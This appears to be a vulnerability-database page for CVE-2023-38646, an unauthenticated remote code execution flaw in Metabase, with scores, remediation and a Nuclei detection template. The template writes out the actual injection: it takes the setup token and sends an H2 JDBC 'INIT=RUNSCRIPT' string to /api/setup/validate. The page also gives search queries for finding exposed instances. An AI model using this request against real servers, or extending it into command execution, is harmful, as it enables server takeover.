SecurityContext

CVE-2023-38646: Metabase < 0.46.6.1 - Remote Code Execution

Classification

  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.99478
  • Epss percentile: 0.99943
  • Cpe: cpe:2.3:a:metabase:metabase:*:*:*:*:-:*:*:*
  • Checked, none or zero: cwe

Metadata

  • Fofa-query: app="Metabase", title="metabase", app="metabase"
  • Google-query: intitle:"metabase"
  • Max-request: 2
  • Product: metabase
  • Shodan-query: http.title:"Metabase", http.title:"metabase"
  • Vendor: metabase
  • Verified: yes

Products

ProductIndexedUrl
metabase:metabaseyes/v1/products/metabase/metabase

Labels

  • Name: Metabase - Command Injection
  • Impact: Attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
  • Remediation: Update to version 0.46.6.1 for open source or 1.46.6.1 for Enterprise, or latest available version.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-38646
  • Not known: requirements

```yaml

id: CVE-2023-38646

info:

name: Metabase < 0.46.6.1 - Remote Code Execution

author: rootxharsh,iamnoooob,pdresearch

severity: critical

description: |

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

remediation: |

Upgrade Metabase to version 0.46.6.1 or later to mitigate this vulnerability.

reference:

- https://www.metabase.com/blog/security-advisory

- https://github.com/metabase/metabase/releases/tag/v0.46.6.1

- https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg

- https://news.ycombinator.com/item?id=36812256

- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

- https://gist.github.com/testanull/a7beb2777bbf550f3cf533d2794477fe

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-38646

epss-score: 0.99478

epss-percentile: 0.99943

cpe: cpe:2.3:a:metabase:metabase:*:*:*:*:-:*:*:*

metadata:

verified: true

max-request: 2

vendor: metabase

product: metabase

shodan-query:

- http.title:"Metabase"

- http.title:"metabase"

fofa-query:

- app="Metabase"

- title="metabase"

- app="metabase"

google-query: intitle:"metabase"

tags: cve2023,cve,metabase,oss,rce,vkev,vuln

variables:

file: "./plugins/vertica.metabase-driver.jar"

http:

- raw:

- |

GET /api/session/properties HTTP/1.1

Host: {{Hostname}}

- |

POST /api/setup/validate HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{

"token":"{{token}}",

"details":{

"details":{

"subprotocol":"h2",

"classname":"org.h2.Driver",

"advanced-options":true,

"subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\;"

},

"name":"{{randstr}}",

"engine":"postgres"

}

}

extractors:

- type: json

part: body_1

name: token

json:

- .["setup-token"]

internal: true

matchers:

- type: dsl

dsl:

- contains_any(body_2, "Syntax error in SQL statement","NoSuchFileException")

- status_code_2 == 400

condition: and

digest: 4b0a004830460221009185e4e0152b9fb98886d4ae296f95fb1a83452226522898122e6c52a442a547022100c6078ddc6f6433b1dc389442b81e024b3110b68a9c88065118b2accd16af2342:922c64590222798bb761d5b6d8e72950

```